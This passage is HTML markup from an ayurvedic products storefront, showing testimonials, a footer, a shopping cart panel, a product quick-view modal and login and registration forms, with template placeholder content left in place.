<img src="assets/images/blog/blog-post04.jpg" class="img-fluid" alt="news articles">
</figure>
<div class="tags position-absolute">
<a href="javascript:void(0)" class="font-small"><span class="d-block">18</span>March</a>
</div>
</div>
<div class="col-12 mt-3">
<a href="#"><span class="cat fw-bold fs-6">Health</span></a>
<a href="javascript:void(0)" class="font-small fw-bold theme-text-accent-one">
<i class="bi bi-person ms-2 theme-text-primary"></i>
<span>By Admin</span>
</a>
<h2 class="fs-4 fw-bold my-3">Marketplace ayurvedic product is no. one</h2>
<div class="d-flex">
<a href="javascript:void(0)" class="font-small fw-bold link-more">Read more<i
class="bi bi-arrow-right ms-2"></i></a>
</div>
</div>
</div>
</div>
<!-- repeate -->
</div>
</div>
</section>
<!-- testimonials section -->
<section class="testimonials py-5 animate__animated wow animate__backInUp">
<div class="container">
<div class="row">
<div class="col-12">
<span class="high-text"></span>
<h4 class="fs-1 font-black text-center theme-text-primary mb-3">What Our Customer Say</h4>
</div>
</div>
<!-- testimonials Slider-->
<div class="row">
<div class="col-12">
<div class="carouselTestimonials mb-5">
<div class="row">
<div class="col-12 col-lg-8 offset-lg-2">
<div class="review-wrap">
<div class="client-con mt-5 mt-lg-0">
<div class="client-pic">
<figure class="mb-0 avatar">
<img src="assets/images/customer/avatar-client01.png" class="img-fluid" alt="client review">
</figure>
</div>
<p class="fs-5 my-4 lh-lg con">With Techexpeder, partner with a team that has
the
experience and drive to help you become a market leader. With Techexpeder, partner with a team
that
has the experience and drive to help</p>
<span class="fs-4 theme-text-secondary">
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
</span>
<div class="d-flex flex-column mt-2">
<span class="fs-5 fw-bold mb-2">Jyotsana Suri</span>
<span class="theme-text-primary">Tech Store</span>
</div>
</div>
</div>
</div>
</div>
<!-- repeatable-->
<div class="row">
<div class="col-12 col-lg-8 offset-lg-2">
<div class="review-wrap">
<div class="client-con mt-5 mt-lg-0">
<div class="client-pic">
<figure class="mb-0 avatar">
<img src="assets/images/customer/avatar-client02.png" class="img-fluid" alt="client review">
</figure>
</div>
<p class="fs-5 my-4 lh-lg con">Diliver with a team that has
the experience and drive to help you become a market leader. With Grefood, partner with a team
that has the experience and drive to help</p>
<span class="fs-4 theme-text-secondary">
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
</span>
<div class="d-flex flex-column mt-2">
<span class="fs-5 fw-bold mb-2">Muhammad Siraj</span>
<span class="theme-text-primary">Bombard Shop</span>
</div>
</div>
</div>
</div>
</div>
<!-- repeatable-->
<div class="row">
<div class="col-12 col-lg-8 offset-lg-2">
<div class="review-wrap">
<div class="client-con mt-5 mt-lg-0">
<div class="client-pic">
<figure class="mb-0 avatar">
<img src="assets/images/customer/avatar-client03.png" class="img-fluid" alt="client review">
</figure>
</div>
<p class="fs-5 my-4 lh-lg con">Efficient, accurate transaction. The BEST kind, of course! Small
offerings for tasting are a great idea. Favorites</p>
<span class="fs-4 theme-text-secondary">
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
</span>
<div class="d-flex flex-column mt-2">
<span class="fs-5 fw-bold mb-2">Baby Lonly</span>
<span class="theme-text-primary">Lineroad</span>
</div>
</div>
</div>
</div>
</div>
<!-- repeatable-->
<div class="row">
<div class="col-12 col-lg-8 offset-lg-2">
<div class="review-wrap">
<div class="client-con mt-5 mt-lg-0">
<div class="client-pic">
<figure class="mb-0 avatar">
<img src="assets/images/customer/avatar-client04.png" class="img-fluid" alt="client review">
</figure>
</div>
<p class="fs-5 my-4 lh-lg con">Great product. Excellent service in cancellation due to wrong size
from me.</p>
<span class="fs-4 theme-text-secondary">
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
</span>
<div class="d-flex flex-column mt-2">
<span class="fs-5 fw-bold mb-2">Dadiry Vilur</span>
<span class="theme-text-primary">Blinkit IT</span>
</div>
</div>
</div>
</div>
</div>
<!-- repeatable-->
</div>
</div>
</div>
</div>
</section>
<!-- our partner section -->
<div class="partners">
<div class="container">
<div class="row mb-5">
<div class="col-12 animate__animated wow animate__backInUp">
<span class="high-text"></span>
<h2 class="fs-1 font-black text-center theme-text-primary mb-3">Popular ayurvedic Brands</h2>
</div>
</div>
<div class="row align-items-center carouselPartner animate__animated">
<div class="col">
<img src="assets/images/partner/logo01.png" alt="Partner">
</div>
<div class="col">
<img src="assets/images/partner/logo02.png" alt="Partner">
</div>
<div class="col">
<img src="assets/images/partner/logo03.png" alt="Partner">
</div>
<div class="col">
<img src="assets/images/partner/logo04.png" alt="Partner">
</div>
<div class="col">
<img src="assets/images/partner/logo05.png" alt="Partner">
</div>
<div class="col">
<img src="assets/images/partner/logo06.png" alt="Partner">
</div>
</div>
</div>
</div>
<!-- footer section -->
<footer class="footer">
<div class="container">
<div class="row animate__animated wow animate__backInUp">
<div class="col-12">
<div class="row">
<div class="col-12 col-md-6 col-lg-3 mt-5">
<p class="fs-5 fw-bold">About Us</p>
<img src="assets/images/brand.png" alt="">
<p>"Welcome to Ayusshi Herbs Pvt Ltd - Your Destination for Natural Wellness!"</p>
</div>
<div class="col-12 col-md-6 col-lg-3 mt-5">
<p class="fs-5 fw-bold mb-4">Quick Links</p>
<ul class="footer-link">
<li><i class="bi bi-plus"></i><a href="faq.php">FAQ</a></li>
<li><i class="bi bi-plus"></i><a href="term.php">Terms & Conditions</a></li>
<li><i class="bi bi-plus"></i><a href="policy.php">Privacy Policy</a></li>
<li><i class="bi bi-plus"></i><a href="refunds.php">Returns & Refunds</a></li>
<!-- <li><i class="bi bi-plus"></i><a href="javascript:void(0)">Contact</a></li> -->
</ul>
</div>
<!-- <div class="col-12 col-md-6 col-lg-3 mt-5">
<p class="fs-5 fw-bold">Support & Help</p>
<ul class="footer-link">
<li><i class="bi bi-plus"></i><a href="javascript:void(0)">Help</a></li>
<li><i class="bi bi-plus"></i><a href="javascript:void(0)">Frequently Ask Questions</a></li>
<li><i class="bi bi-plus"></i><a href="javascript:void(0)">Shop Page</a></li>
<li><i class="bi bi-plus"></i><a href="javascript:void(0)">Details</a></li>
</ul>
</div> -->
<div class="col-12 col-md-6 col-lg-3 mt-5">
<p class="fs-5 fw-bold">Partner with Us</p>
<ul class="footer-link">
<li><i class="bi bi-plus"></i><a href="javascript:void(0)">Home</a></li>
<li><i class="bi bi-plus"></i><a href="about.php">About Us</a></li>
<li><i class="bi bi-plus"></i><a href="shop.php">Shop</a></li>
<li><i class="bi bi-plus"></i><a href="gallery.php">Gallery</a></li>
<li><i class="bi bi-plus"></i><a href="partners.php">Partners</a></li>
<li><i class="bi bi-plus"></i><a href="certificates.php">Certificates</a></li>
<li><i class="bi bi-plus"></i><a href="contact.php">Contact Us</a></li>
</ul>
</div>
<div class="col-12 col-md-6 col-lg-3 mt-5">
<p class="fs-5 fw-bold">Keep in Touch</p>
<div class="d-flex social mt-3">
<a href="javascript:void(0)" class="fs-4 pe-2"><i class="bi bi-facebook"></i></a>
<a href="javascript:void(0)" class="fs-4 px-2"><i class="bi bi-twitter"></i></a>
<a href="javascript:void(0)" class="fs-4 px-2"><i class="bi bi-youtube"></i></a>
<a href="javascript:void(0)" class="fs-4 px-2"><i class="bi bi-instagram"></i></a>
</div>
<div class="d-flex mt-4">
<!-- <div class="flex-shrink-0">
<span class="support-icon"><i class="bi bi-chat-left-text-fill"></i></span>
</div> -->
<ul>
<li>
<div class="flex-grow-1 ms-3 theme-text-white">
Call Us<br>
<span class="fs-5">1800-313-5699</span>
</div>
</li>
<li>
<div class="flex-grow-1 ms-3 mt-3 theme-text-white">
Email<br>
<span class="fs-5">info@gmail.com</span>
</div>
</li>
<li>
<div class="flex-grow-1 ms-3 mt-3 theme-text-white">
Address<br>
<span class="fs-5">Flat No. Khatoni No 358,359, Khevat No 255//224, Narukheri, Uncha Siwana District: Karnal, State: Haryana, Pin Code: 132001, India</span>
</div>
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
<div class="row g-0 pt-5 animate__animated wow animate__backInUp">
<div class="col-12">
<div class="row">
<div class="col-12 col-lg-4 text-start py-3">
<p class="fs-5 d-inline-flex mb-2 fw-bold">Payment Options</p>
<div class="payment-box">
<img src="assets/images/icons/mastercard.png" class="img-fluid me-2" alt="mastercard"
title="mastercard">
<img src="assets/images/icons/visa.png" class="img-fluid me-2" alt="visa" title="visa">
<img src="assets/images/icons/american-express.png" class="img-fluid me-2" alt="american-express"
title="american-express">
<img src="assets/images/icons/paypal.png" class="img-fluid me-2" alt="paypal" title="paypal">
</div>
</div>
<div class="col-12 col-lg-8 text-lg-center social py-3">
<p class="fs-5 mb-2 fw-bold">Certification</p>
<div class="d-flex justify-content-lg-center">
<img src="assets/images/icons/cer1.png" class="Certi" alt="Google-Play"
title="Google-Play">
<img src="assets/images/icons/cer2.png" class="Certi" alt="App-Store" title="App-Store">
<img src="assets/images/icons/cer3.png" style="height:115px; margin-top:-10px;" alt="App-Store" title="App-Store">
</div>
</div>
<!-- <div class="col-12 col-lg-4 text-lg-end social py-3">
<p class="fs-5 mb-0 fw-bold">Accreditation</p>
<div class="mt-2">
<img src="assets/images/brand-light.png" class="img-fluid" alt="Brand color white"
title="Brand color white">
</div>
</div> -->
</div>
</div>
</div>
<div class="row py-3 animate__animated wow animate__backInUp">
<div class="col-12 align-self-center">
<p class="mb-0 mt-3 mt-lg-0 font-small text-center">© Copyright 2024 by Ayusshi Herbs Pvt Ltd.
All rights reserved. || Powered By <span> Saavy Technologies </span>
</p>
<!-- <p class="mb-0 mt-3 mt-lg-0 font-small text-center">© Copyright 2024 by ayurvedicPro.
All rights reserved. Various trademarks are held by their respective owners.
</p> -->
</div>
</div>
</div>
<a href="#wrapper" data-type="section-switch" class="scrollup rounded-pill back-top">
<i class="bi bi-arrow-bar-up" title="Back to Top Icon"></i></a>
</footer>
<!-- Search model Begin -->
<div class="search-model">
<div class="h-100 d-flex align-items-center justify-content-center">
<div class="search-close-switch"><i class="bi bi-x-lg"></i></div>
<form class="search-model-form">
<input type="text" id="search-input" placeholder="Search here.....">
<button class="btn custom-btn-primary button-effect min-w-auto"><i class="bi bi-search"></i></button>
</form>
</div>
</div>
<!-- Search model end -->
<!-- cart checkout section -->
<div class="offcanvas offcanvas-end cart-menu" tabindex="-1" id="offcanvasRight"
aria-labelledby="offcanvasRightLabel">
<div class="offcanvas-header border-bottom">
<div class="text-start">
<h5 id="offcanvasRightLabel" class="mb-0 fs-5 theme-text-primary fw-bold">Shop Cart</h5>
<p class="mb-0 font-small theme-text-accent-one">Total Item (3)</p>
</div>
<button type="button" class="btn-close text-reset" data-bs-dismiss="offcanvas" aria-label="Close"></button>
</div>
<div class="offcanvas-body">
<!-- cart content -->
<div class="mb-2">
<ul class="list-group list-group-flush">
<li class="list-group-item py-3 ps-0">
<div class="row align-items-center">
<div class="col-3 col-md-2">
<img src="assets/images/product/Products01.png" alt="Parts" class="img-fluid">
</div>
<div class="col-4 col-md-6 col-lg-5">
<a href="javascript:void(0)" class="text-inherit">
<p class="mb-0 font-small fw-bold">Fresh Fruits</p>
</a>
<span class="font-extra-small"><small class="text-muted">1 Qty.</small><span
class="ms-2">$70</span></span>
</div>
<!-- input group -->
<div class="col-3 col-md-3 col-lg-3 px-0">
<div class="input-group input-spinner">
<span class="button-minus btn btn-sm">-</span>
<input type="text" value="1" class="quantity-field form-control-sm form-input">
<span class="button-plus btn btn-sm">+</span>
</div>
</div>
<div class="col-2 text-lg-end text-start text-md-end col-md-2">
<div class="mt-2 small lh-1"> <a href="javascript:void(0)" class="text-decoration-none text-inherit">
<span class="me-1 align-middle"><i class="bi bi-trash"></i></span>
<span class="text-muted font-extra-small">Remove</span></a>
</div>
</div>
</div>
</li>
<!-- repetable -->
<li class="list-group-item py-3 ps-0">
<div class="row align-items-center">
<div class="col-3 col-md-2">
<img src="assets/images/product/Products02.png" alt="Parts" class="img-fluid">
</div>
<div class="col-4 col-md-6 col-lg-5">
<a href="javascript:void(0)" class="text-inherit">
<p class="mb-0 font-small fw-bold">Fresh Cherry</p>
</a>
<span class="font-extra-small"><small class="text-muted">1 Qty.</small><span
class="ms-2">$40</span></span>
</div>
<div class="col-3 col-md-3 col-lg-3 px-0">
<div class="input-group input-spinner">
<span class="button-minus btn btn-sm">-</span>
<input type="text" value="1" class="quantity-field form-control-sm form-input">
<span class="button-plus btn btn-sm">+</span>
</div>
</div>
<div class="col-2 text-lg-end text-start text-md-end col-md-2">
<div class="small lh-1"> <a href="javascript:void(0)" class="text-decoration-none text-inherit">
<span class="me-1 align-middle"><i class="bi bi-trash"></i></span>
<span class="text-muted font-extra-small">Remove</span></a>
</div>
</div>
</div>
</li>
<!-- repetable -->
<li class="list-group-item py-3 ps-0">
<div class="row align-items-center">
<div class="col-3 col-md-2">
<img src="assets/images/product/Products03.png" alt="Parts" class="img-fluid">
</div>
<div class="col-4 col-md-6 col-lg-5">
<a href="javascript:void(0)" class="text-inherit">
<p class="mb-0 font-small fw-bold">Fresh Veggies</p>
</a>
<span class="font-extra-small"><small class="text-muted">1 Qty.</small><span
class="ms-2">$10</span></span>
</div>
<div class="col-3 col-md-3 col-lg-3 px-0">
<div class="input-group input-spinner">
<span class="button-minus btn btn-sm">-</span>
<input type="text" value="1" class="quantity-field form-control-sm form-input">
<span class="button-plus btn btn-sm">+</span>
</div>
</div>
<div class="col-2 text-lg-end text-start text-md-end col-md-2">
<div class="small lh-1"> <a href="javascript:void(0)" class="text-decoration-none text-inherit">
<span class="me-1 align-middle"><i class="bi bi-trash"></i></span>
<span class="text-muted font-extra-small">Remove</span></a>
</div>
</div>
</div>
</li>
<!-- repetable -->
</ul>
<!-- order total -->
<div class="d-flex my-5">
<h5 class="mb-0 me-auto">Order Subtotal</h5>
<h5 class="mb-0">$121.87</h5>
</div>
<!-- btn -->
<div class="d-flex justify-content-between mt-4 custom-button">
<a href="checkout.html"
class="d-flex align-items-center custom-btn-primary font-small button-effect px-3">Proceed to
checkout</a>
<a href="javascript:void(0)" class="theme-border custom-btn-secondary font-small button-effect px-3">Update
Cart</a>
</div>
</div>
</div>
</div>
<!-- wishlist notify -->
<div class="wish-notify"></div>
<!-- compare notify -->
<div class="compare-notify"></div>
<!-- add to cart notify -->
<div class="cart-notify">
<a href="javascript:void(0)" class="ms-cart-toggle">
<i class="bi bi-basket fs-1"></i><span>3</span></a>
</div>
<!-- quick view modal -->
<div class="modal fade" id="quickViewModal" tabindex="-1" aria-labelledby="quickViewModalLabel" aria-hidden="true">
<div class="modal-dialog modal-xl modal-dialog-centered">
<div class="modal-content">
<div class="modal-body p-5 pb-0">
<div class="position-absolute top-0 end-0 me-3 mt-3" id="quickViewModalLabel">
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="row">
<div class="col-lg-6">
<!-- product gallery -->
<div class="product-gallery position-relative">
<div class="deal-badge">
<span class="badge bg-danger">Sale</span>
</div>
<div class="slider slider-for">
<div class="zoom" onmousemove="zoom(event)"
style="background-image: url(assets/images/product/gallery-product01.png)">
<img src="assets/images/product/gallery-product01.png" alt="solar">
</div>
<div class="zoom" onmousemove="zoom(event)"
style="background-image: url(assets/images/product/gallery-product02.png)">
<img src="assets/images/product/gallery-product02.png" alt="solar">
</div>
<div class="zoom" onmousemove="zoom(event)"
style="background-image: url(assets/images/product/gallery-product03.png)">
<img src="assets/images/product/gallery-product03.png" alt="solar">
</div>
<div class="zoom" onmousemove="zoom(event)"
style="background-image: url(assets/images/product/gallery-product04.png)">
<img src="assets/images/product/gallery-product04.png" alt="solar">
</div>
<div class="zoom" onmousemove="zoom(event)"
style="background-image: url(assets/images/product/gallery-product05.png)">
<img src="assets/images/product/gallery-product05.png" alt="solar">
</div>
</div>
<div class="slider slider-nav gallery-thumb">
<div>
<img src="assets/images/product/gallery-product01.png" alt="grocy store">
</div>
<div>
<img src="assets/images/product/gallery-product02.png" alt="grocy store">
</div>
<div>
<img src="assets/images/product/gallery-product03.png" alt="grocy store">
</div>
<div>
<img src="assets/images/product/gallery-product04.png" alt="grocy store">
</div>
<div>
<img src="assets/images/product/gallery-product05.png" alt="grocy store">
</div>
</div>
<!-- products thumb -->
</div>
</div>
<div class="col-lg-6">
<div class="mt-6 mt-lg-0">
<a href="#!" class="mb-3 d-block">Product ayurvedic</a>
<h2 class="mb-1 h4">Integer Iaculis Porttitor Risus</h2>
<div class="mb-4">
<small class="text-warning">
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-fill"></i>
<i class="bi bi-star-half"></i></small>
<a href="#" class="ms-2">(30 reviews)</a>
</div>
<div class="row">
<div class="col-6 fs-4">
<span class="fw-bold theme-text-secondary">$32</span>
<span class="text-decoration-line-through text-muted">$35</span><span><small
class="fs-6 ms-2 text-danger">26% Off</small></span>
</div>
<div class="col-6">
<div class="input-group input-spinner">
<span class="button-minus btn btn-sm">-</span>
<input type="text" value="1" class="quantity-field form-control-sm form-input">
<span class="button-plus btn btn-sm">+</span>
</div>
</div>
</div>
<hr class="my-6">
<div class="mb-4">
<h3 class="h5 mb-3">Tags:</h3>
<button type="button" class="btn btn-outline-secondary mb-2 mb-lg-0">
Organic
</button>
<button type="button" class="btn btn-outline-secondary mb-2 mb-lg-0">
ayurvedic
</button>
<button type="button" class="btn btn-outline-secondary mb-2 mb-lg-0">
Fitness
</button>
</div>
<div class="mt-3 row justify-content-start g-2 align-items-center">
<div class="col-12 col-md-6">
<button type="button"
class="custom-btn-primary font-small button-effect justify-content-center align-items-center d-flex w-100">
<i class="feather-icon icon-shopping-bag me-2"></i>Add to
cart
</button>
</div>
<div class="col-12 col-md-6">
<a class="theme-border custom-btn-secondary font-small button-effect px-2 d-inline-flex" href="#"
data-bs-toggle="tooltip" data-bs-placement="top" data-bs-title="Compare"><i
class="bi bi-arrow-left-right"></i></a>
<a class="theme-border custom-btn-secondary font-small button-effect px-2 d-inline-flex" href="#"
data-bs-toggle="tooltip" data-bs-placement="top" data-bs-title="Wishlist"><i
class="bi bi-heart"></i></a>
</div>
</div>
<hr class="my-6">
<div>
<table class="table table-borderless">
<tbody>
<tr>
<td>Product Code:</td>
<td>FBB00255</td>
</tr>
<tr>
<td>Availability:</td>
<td><span class="badge text-bg-success">In Stock</span></td>
</tr>
<tr>
<td>Type:</td>
<td>ayurvedic</td>
</tr>
<tr>
<td>Shipping:</td>
<td>
<small>01 day shipping.<span class="text-muted">( Free pickup today)</span></small>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer text-center justify-content-center">
<p>See full details</p>
</div>
</div>
</div>
</div>
<!-- login/signup section -->
<div class="login-box">
<div class="modal fade" id="exampleModal" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true">
<div class="modal-dialog">
<div class="modal-content">
<div class="modal-header" id="exampleModalLabel">
<div class="col-12">
<div class="d-flex justify-content-center">
<ul class="nav nav-pills deals-tab" id="account-tab" role="tablist">
<li class="nav-item" role="presentation">
<button class="nav-link active" id="domestic-tab" data-bs-toggle="pill" data-bs-target="#domestic"
type="button" role="tab" aria-controls="domestic" aria-selected="true">Login</button>
</li>
<li class="nav-item" role="presentation">
<button class="nav-link" id="international-tab" data-bs-toggle="pill"
data-bs-target="#international" type="button" role="tab" aria-controls="international"
aria-selected="false">Register</button>
</li>
</ul>
</div>
</div>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-12">
<div class="tab-content offers-content" id="account-tabContent">
<div class="tab-pane fade show active" id="domestic" role="tabpanel" aria-labelledby="domestic-tab">
<!-- login tab -->
<div class="row">
<div class="col-12 text-center">
<span class="login-app-title">Or continue with</span>
<ul class="login-app">
<li><a href="#" class="fb" title="google"></a></li>
<li><a href="#" class="go" title="Facebook"></a></li>
<li><a href="#" class="in" title="twitter"></a></li>
</ul>
</div>
<div class="col-12">
<form class="needs-validation" novalidate>
<div class="mb-3">
<label class="form-label fw-bold">Email
Address</label>
<input type="email" class="form-control form-control-th rounded-pill"
id="exampleInputEmail1" placeholder="Enter Your Email" required>
</div>
<div class="mb-3">
<label class="form-label fw-bold">Password</label>
<input type="password" class="form-control form-control-th rounded-pill"
id="exampleInputPassword1" placeholder="Enter Your Password" required>
</div>
<div class="d-flex justify-content-between">
<div class="form-check">
<input type="checkbox" class="form-check-input" id="exampleCheck1">
<label class="form-check-label" for="exampleCheck1">Remember
Me</label>
</div>
<a href="javascript:void(0)" class="font-small">Forgot Password?</a>
</div>
<div class="mt-3 mb-3 d-flex align-items-center">
<button type="submit"
class="btn custom-btn-primary fw-bold button-effect transition-3d-hover px-4"
onclick="window.location.href='#';">Login</button>
<span class="font-small">
<span class="mx-3">Create an Account ?</span>
<a href="javascript:void(0)" class="reg-btn">Register</a>
</span>
</div>
</form>
</div>
</div>
</div>
<div class="tab-pane fade" id="international" role="tabpanel" aria-labelledby="international-tab">
<!-- signup tab -->
<div class="row">
<div class="col-12">
<form class="needs-validation" novalidate>
<div class="mb-3">
<label for="floatingInput" class="form-label fw-bold">Your Name</label>
<input type="text" class="form-control form-control-th rounded-pill" id="floatingInput"
placeholder="Your Name">
</div>
<div class="mb-3">
<label for="floatingInput2" class="form-label fw-bold">Email Address</label>
<input type="email" class="form-control form-control-th rounded-pill" id="floatingInput2"
placeholder="Email address">
</div>
<div class="mb-3">
<label for="floatingInput3" class="form-label fw-bold">Number</label>
<input type="number" class="form-control form-control-th rounded-pill" id="floatingInput3"
placeholder="Number">
</div>
<div class="mb-3">
<label for="floatingInput4" class="form-label fw-bold">OTP</label>
<input type="number" class="form-control form-control-th rounded-pill" id="floatingInput4"
placeholder="OTP">
</div>
<div class="mb-3">
<label for="floatingPassword" class="form-label fw-bold">Password</label>
<input type="password" class="form-control form-control-th rounded-pill"
id="floatingPassword" placeholder="Password">
</div>
<div class="mb-3">
<label for="floatingPassword2" class="form-label fw-bold">Confirm Password</label>
<input type="password" class="form-control form-control-th rounded-pill"
id="floatingPassword2" placeholder="Password">
</div>
<div class="mb-0 d-flex">
<input type="checkbox" class="form-check-input" id="exampleCheck2">
<label class="form-check-label font-small w-75" for="exampleCheck2">By clicking
on register, I Understand & agree to world travel <a href="#">Terms and
condition</a>
and <a href="#">Privacy Policy</a></label>
</div>
<div class="mb-3 mt-3 d-flex align-items-center">
<button type="submit"
class="btn custom-btn-primary fw-bold button-effect transition-3d-hover px-4"
onclick="window.location.href='#';">Register</button>
<span class="font-small">
<span class="mx-3">Already a member?</span>
<a href="javascript:void(0)" class="log-btn">Login</a>
</span>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- login content end -->
</div>
</div>
</div>
</div>
</div>
<!-- Option 1: Bootstrap Bundle with Popper -->
<script src="assets/ajax/libs/jquery/3.3.1/jquery.min.js"></script>
<script src="assets/js/bootstrap.bundle.min.js"></script>
<script src="assets/js/slick.min.js"></script>
<script src="assets/js/slick-animation.min.js"></script>
<script src="assets/js/wow.min.js"></script>
<script src="assets/js/jquery.magnific-popup.min.js"></script>
<script src="assets/js/hs.megamenu.js"></script>
<script src="assets/js/main.js"></script>
</body>
</html>